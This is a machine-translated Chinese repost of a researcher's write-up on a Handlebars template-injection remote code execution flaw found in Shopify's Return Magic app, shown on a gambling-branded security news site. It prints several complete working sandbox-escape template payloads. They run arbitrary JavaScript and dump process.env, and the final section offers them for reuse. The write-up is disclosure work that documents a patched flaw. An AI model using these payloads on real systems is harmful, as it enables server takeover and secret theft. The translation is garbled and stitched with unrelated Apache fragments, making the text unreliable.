破绽发掘:Handlebars库 模板注入致使RCE 0day | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

破绽发掘:Handlebars库 模板注入致使RCE 0day

申博_安全防护 申博 268次浏览 已收录 0个评论

CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation

Introduction 对于从2.4.17版本(2015年10月9日发布)到2.4.38版本(2019年4月1日发布)之间的Apache HTTP系统来说,由于存在数组访问越界导致的任意函数调用问题,导致系统容易受到本地root提权攻击。当Apache正常重新启动(apache2ctl g

媒介

我们在一个名为handlebars的JavaScript模板库上发明了一个0day破绽,这个破绽可用于猎取Shopify Return Magic运用上的长途代码实行权限。

我的心路历程

在2018年10月,Shopify组织HackeOne运动“H1-514”并约请一些特定的研究人员介入,我是个中之一。在许多Shopify的运用中都包罗一个名为“Return Magic”的运用顺序,该顺序用于自动化完成Shopify客户的退货流程。

检察这个顺序,我找到了一个名为Email WorkFlow的功用,运用该功用商号商家能够或许定制自动发送给须要退货的客户的电子邮件。用户能够在模板中运用一些变量比方:{{order.number}} ,{{email}}等等。随后,我决议测试该功用是不是存在服务端模板注入,输入{{this}} {{self}},然后发送一份测试邮件给我自身,这封邮件内容包罗[object Object],这引起了我的注重。

因而,我花了一些时刻试图找出这个顺序所运用的模板引擎,我搜刮了NodeJS模板库上盛行的模板库,以为该顺序运用的是mustache (厥后发明不是)。然后我测试了mustache模板注入,但没有用果,由于mustache应当是一个logicless(无逻辑)模板引擎,没法挪用函数。而然,我能够挪用一些工具属性比方{{this.__proto__}},以至是{{this.constructor.constructor}}如许的组织函数。我实验发送参数值至this.constructor.constructor(),但没有胜利。

我认可这里没有破绽,然后继承找其余bug。好像天主一定要我找出该破绽,我在Shopify的slack频道上看到了一条音讯,Shopify请求提交“疑似bug”。若是或人找到一些觉得能够应用的器械,他能够提交给Shopify平安团队,若是团队应用了这个破绽,申报者能够或许猎取全额赏金。我马上提交我所发明的内容,影响局部写为“能够存在服务端模板注入,这将致使服务器接受¯_(ツ)_/¯”。

两个月过去了,我仍没有收到Shopify关于这个“疑似bug”的任何回应,然后我被约请至巴厘岛列入Synack主理的黑客运动。在那里我与Synack 红队成员谋面,运动完毕后我应当回到埃及去,但在飞机起飞前三个小时我改变了注重,决议再待一段时刻,然后飞往日本列入TrendMicro CTF竞赛。Synack红队的一些成员也决议延伸呆在巴厘岛的时刻,个中的一名是Matias,以是我决议与他一同渡过这几天。在享受完沙岸和巴厘岛的美景后,我们回到旅店用餐,当时Matias告诉我他曾在一个赏金项目的bug中顶用到了JavaScript沙盒逃逸,并确认破绽。然后,我们整晚都在征采工具和组织函数,然则命运运限欠安,我们没法逃出沙盒。

我脑海中一向浮现出组织函数,我记得曾经在Shopify上找到过模板注入破绽。我浏览之前的Hackone申报,然后肯定模板不是mustanche,我在当地装置mustanche,运用mustanche剖析{{this}},返回的内容与Shopify顺序分歧。我再次搜刮盛行的NodeJS模板引擎,将那些运用花括号{{}}作为模板表达式的模板下载到当地。个中的一个库是handlebars ,当我剖析{{this}}时它返回了[object Object](与Shopify顺序的相应雷同)。我检察了handlebars的文档,发明该模板并没有许多防护模板注入进击的逻辑。此时我能够或许接见组织函数了,因而我决议探讨参数是怎样通报给函数的。

从文档中我还发明开发者能在模版局限内注册helpers的函数。我们能够像如许{{helper "param1" "param2" ...params}}通报参数至helpers。起首,我实验发送{{this.constructor.constructor "console.log(process.pid)"}},但只返回字符console.log(process.pid)。我检察了源代码,想弄清楚发作了甚么。在runtime.js中,有以下函数:

lambda: function(current, context) {
  return typeof current === 'function' ? current.call(context) : current;
}

这个函数搜检以后工具是不是为“function”范例,若是是它将挪用current.call(context)context属于模板局限),不是则返回该工具自身。

我进一步剖析handlebars文档,发明它在helpers中内置了 “with”, “blockHelperMissing”, “forEach”函数等等。

审计完helpers的内置函数后,我对怎样应用helpers的“with”函数有了一些设法主意。这个函数用于挪动调治模板的context(上下文),因而,我能够或许在自身的上下文实行curren.call(context)。我实验运用下面这段代码:

{{#with "console.log(process.pid)"}}
  {{#this.constructor.constructor}}
    {{#this}} {{/this}}
  {{/this.constructor.constructor}}
{{/with}}

简朴解释一下,将console.log(process.pid)作为以后的上下文传输,handlebars编译器碰到this.constructor.constructor并将其视为一个函数,它将以后的上下文作为函数参数来挪用。然后运用{{#with this}}(我们从函数组织函数挪用返回的函数),此时console.log(process.pid)应当被实行。

然而这没有起作用,由于function.call()用一个owner工具作为一个参数,以是第一个参数是owner工具,其他的参数是发送给被挪用函数的参数。因而,被挪用的函数为current.call(this, context)时,上面的payload就能够或许起作用。

我在巴厘岛呆了两晚然后飞往东京列入TrendMicro CTF。在东京的时刻,我的头脑中照样充满着组织函数和工具的影子,我仍在查找沙盒逃逸的要领。

我想到了另一个设施,在上下文中运用Array.map()函数来挪用组织函数,但仍失利了,由于编译器老是向我挪用的任何函数通报一个其余参数,然后发作毛病,由于payload被视为函数参数而不是函数体。

{{#with 1 as |int|}}
  {{#blockHelperMissing int as |array|}} // This line will create an array and then we can access its constructor
    {{#with (array.constructor "console.log(process.pid)")}}
      {{this.pop}} // pop unnecessary parameter pushed by the compiler
      {{array.map this.constructor.constructor array}}
    {{/with}}
  {{/blockHelperMissing}}
{{/with}}

这好像有许多能够逃出沙盒的要领,然则我还面临一个大问题:不管挪用模板内的哪一个函数,模板编译器将把模板局限内的Object增加至末了一个参数。

举个例子,若是我想挪用constructor.constructor("test","test"),编译器将把它改成constructor.constructor("test", "test", this)再挪用,这是由于挪用了相似Object.toString()如许的函数,该函数将其转化为一个字符。该匿名函数多是以下这类情势:

function anonymous(test,test){
[object Object]
}

这将致使毛病的发作。

我试了许多要领,然则不敷荣幸。然后,我决议翻开JavaScript文档查阅Object原型,想要找到资助我完成沙盒逃逸的要领。

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

我发明能够运用Object.prototype.defineProperty()来重写Object.prototype.toString()函数,应用这点能够挪用返回用户可控的字符串(有用负载)。

由于在该模板中我不克不及界说函数,以是我须要找到一个已界说并且在模板局限内容,能够返回用户可控的输入效果的函数。

举个例子,下面这个nodejs 运用顺序存在相似破绽:
test.js

var handlebars = require('handlebars'),
  fs = require('fs');
var storeName = "console.log(process.pid)" // this should be a user-controlled string
function getStoreName(){
  return storeName;
}

var scope = {
  getStoreName: getStoreName
}

fs.readFile('example.html', 'utf-8', function(error, source){
  var template = handlebars.compile(source);
  var html = template(data);
  console.log(html)
});

example.html

{{#with this as |test|}}
// with is a helper that sets whichever assigned to it as the context, we name our context test. 
  {{#with (test.constructor.getOwnPropertyDescriptor this "getStoreName")}} // get the context resulted from the evaluated function, in this case, the descriptor of this.getStoreName where this is the template scope defined in data variable in test.js
    {{#with (test.constructor.defineProperty test.constructor.prototype "toString" this)}} // overwrite Object.prototype.toString with "getStoreName()" defined in test.js
      {{#with (test.constructor.constructor "test")}} {{/with}} // call the Function constructor.
    {{/with}}
  {{/with}}
{{/with}}

若是你运转这个模板,console.log(process.pid)将被实行。

$ node test.js
1337

我向Shopify申报若是模板局限内有一个可返回用户可控输入的函数,那末将有能够致使RCE。

厥后我跟Ibrahim (@the_st0rm)交流了,他告诉我能够实验运用bind()来组织一个新函数,挪用该函数将实行我的RCE Payload。

查阅JavaScript文档:

bind()要领建立一个新的函数,在挪用时设置this关键字为供应的值。并在挪用新函数时,将给定参数列表作为原函数的参数序列的前多少项。

如今我的设法主意是建立一个包罗想要实行内容的字符,然后再重写Object.prototype.toString(),末了运用bind()将该函数绑定toString()到一个函数上。

我花了一些时刻来将这点运用到handlebars模板上,末了在飞回埃及的航班上我写出了可行Poc(无需在模板局限内自界说函数)。

{{#with this as |obj|}}
    {{#with (obj.constructor.keys "1") as |arr|}}
        {{arr.pop}}
        {{arr.push obj.constructor.name.constructor.bind}}
        {{arr.pop}}
        {{arr.push "console.log(process.env)"}}
        {{arr.pop}}
            {{#blockHelperMissing obj.constructor.name.constructor.bind}}
              {{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}}
                {{#with (obj.constructor.getOwnPropertyDescriptor this 0)}}
                  {{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}}
                     {{#with (obj.constructor.constructor "test")}}
                     {{/with}}
                  {{/with}}
                {{/with}}
              {{/with}}
            {{/blockHelperMissing}}
  {{/with}}
{{/with}}

上面的模板代码以下:

x = ''
myToString = x.constructor.bind.apply(x.constructor, [x.constructor.bind,"console.log(process.pid)"])
myToStringArr = Array(myToString)
myToStringDescriptor = Object.getOwnPropertyDescriptor(myToStringArr, 0)
Object.defineProperty(Object.prototype, "toString", myToStringDescriptor)
Object.constructor("test", this)()

当我在Shopify测试时:

Matias的Poc越发简朴:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return JSON.stringify(process.env);"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

总而言之,我能够在Shopify Return Magic运用顺序上猎取RCE,实在还包孕其他运用handlebars作为模板引擎的网站。

我也向npm平安团队申报了这个破绽,随后handlebars宣布制止接见组织函数的补钉。破绽通知布告:https://www.npmjs.com/advisories/755

总而言之

你能够或许运用下面的Poc注入到Handlebars模板中:

{{#with this as |obj|}}
    {{#with (obj.constructor.keys "1") as |arr|}}
        {{arr.pop}}
        {{arr.push obj.constructor.name.constructor.bind}}
        {{arr.pop}}
        {{arr.push "return JSON.stringify(process.env);"}}
        {{arr.pop}}
            {{#blockHelperMissing obj.constructor.name.constructor.bind}}
              {{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}}
                {{#with (obj.constructor.getOwnPropertyDescriptor this 0)}}
                  {{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}}
                     {{#with (obj.constructor.constructor "test")}}
                        {{this}}
                     {{/with}}
                  {{/with}}
                {{/with}}
              {{/with}}
            {{/blockHelperMissing}}
  {{/with}}
{{/with}}

PS:Matias有越发简朴的Poc

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return JSON.stringify(process.env);"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

对不起,本文篇幅有些长。若是你有任何问题请到推特上私信联络我:@Zombiehelp54

CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation

Introduction 对于从2.4.17版本(2015年10月9日发布)到2.4.38版本(2019年4月1日发布)之间的Apache HTTP系统来说,由于存在数组访问越界导致的任意函数调用问题,导致系统容易受到本地root提权攻击。当Apache正常重新启动(apache2ctl g


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明破绽发掘:Handlebars库 模板注入致使RCE 0day
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址